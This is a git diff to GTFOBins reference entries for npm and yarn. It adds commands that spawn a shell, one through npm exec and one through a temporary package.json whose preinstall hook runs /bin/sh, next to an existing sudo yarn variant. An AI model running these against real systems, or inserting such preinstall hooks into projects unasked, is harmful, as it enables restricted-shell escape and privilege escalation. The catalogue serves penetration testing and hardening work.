diff --git a/_gtfobins/npm.md b/_gtfobins/npm.md index 7bc88ae..291afa8 100644 --- a/_gtfobins/npm.md +++ b/_gtfobins/npm.md @@ -1,6 +1,7 @@ --- functions: shell: + - code: npm exec /bin/sh - code: | TF=$(mktemp -d) echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json diff --git a/_gtfobins/yarn.md b/_gtfobins/yarn.md index a9295fe..072dc2e 100644 --- a/_gtfobins/yarn.md +++ b/_gtfobins/yarn.md @@ -2,6 +2,10 @@ functions: shell: - code: yarn exec /bin/sh + - code: | + TF=$(mktemp -d) + echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json + yarn --cwd $TF install sudo: - code: sudo yarn exec /bin/sh ---